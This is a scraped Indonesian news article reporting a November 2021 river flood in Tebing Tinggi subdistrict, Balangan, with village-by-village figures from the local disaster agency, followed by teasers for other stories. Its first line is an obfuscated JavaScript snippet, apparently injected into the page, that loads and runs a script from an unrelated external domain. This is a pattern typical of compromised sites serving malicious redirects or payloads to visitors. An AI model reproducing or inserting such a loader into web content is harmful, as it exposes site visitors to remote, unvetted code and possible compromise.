(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, PARINGIN – Banjir yang berasal dari luapan sungai di wilayah Kecamatan Tebing Tinggi, Kabupaten Balangan, mengakibatkan empat desa terdampak dan ratusan rumah terendam.
Diketahui banjir ini dikarenakan adanya dua aliran sungai yang meluap hingga pemukiman, yaitu Sungai Pitap yang mengakibatkan Desa Mayanau, Desa Tebing-Tinggi, dan Desa Juuh, serta Desa Auh karena luapan dari air Sungai Kambiyain.
Berdasarkan informasi Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan, terdata ratusan buah rumah terdampak banjir di Kecamatan Tebing Tinggi, Senin (15/11/2021).
Paling banyak rumah terdampak banjir yaitu Desa Mayanau Pada RT 1 dan 2 yang menelan 105 rumah warga yang berisikan 340 jiwa. Sedangkan Desa tebing tinggi RT 2 terdapat 15 buah rumah yang terendam.
Baca juga: UPDATE BANJIR BARABAI: Pukul 22.00 Air Masih Genangi Permukiman, Warga Ada yang Mengungsi
50 buah rumah dan 1 fasilitas umum yaitu Poskesdes terendam pada RT 3 dan 4 Desa Juuh, 6 buah rumah pada RT 2 dan 4 Desa Auh.
Dikatakan oleh H Rahmi PLt Kepala BPBD Kabupaten Balangan, kalau ketinggian air di masing-masing desa cukup bervariasi, Desa Juuh antara 30 cm sampai dengan 1,5 meter dan untuk jalan raya yang terendam dengan panjang kurang lebih 600 meter dengan dua titik.
Untuk Desa Mayanau, bervariasi antara 80 cm hingga 1 Meter dan untuk jalan raya terdampak sekitar 200 meter. Di Desa Tebing Tinggi ketinggian air bervariasi antara 30cm hingga 50 cm dan Desa Auh dengan ketinggian air bervariasi antara 30 cm hingga 1,2 meter.
“Akibat yang ditimbulkan, ada terdata 176 buah rumah, 193 Kk dan 578 jiwa terdampak,” ujarnya H Rahmi.
Baca juga: Kejati Kalsel Didesak Ambil Alih Kasus Sengketa Lahan Plasma Sawit di Batola
Dikatakan, karena curah hujan yang tinggi di daerah pegunungan, sehingga membuat sungai meluap memasuki pemukiman warga sekitar pukul 05:15 WITA dini hari. Air mulai menggenangi dan merendam beberapa rumah, jalan raya serta rumah warga dan tempat ibadah, juga sekolah.
Diperkirakan apabila di daerah pegunungan terus diguyur hujan kemungkinan debit air akan bertambah dan air sungai akan mengalami kenaikan lagi. (Kanalkalimantan.com/alfi)
Reporter: alfi
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki warga Kota Banjarbaru melakukan aktivitas penambangan galian C tanpa izin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bandara Syamsudin Noor Banjarmasin akan kembali mempersiapkan kedatangan tamu jemaah Haul ke-20… Read More
KANALKALIMANTAN.COM, SAMARINDA - Aksi petugas Dinas Pemadam Kebakaran (Damkar) Kota Samarinda, Kalimantan Timur, saat memotong… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Salah satu tempat ibadah yang melaksanakan ibadah Misa Natal 2024, Gereja Katedral… Read More
KANALKALIMANTAN.COM, BANJARBARU - Liburan Natal dan Tahun Baru menjadi waktu yang tepat untuk rehat diri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
This website uses cookies.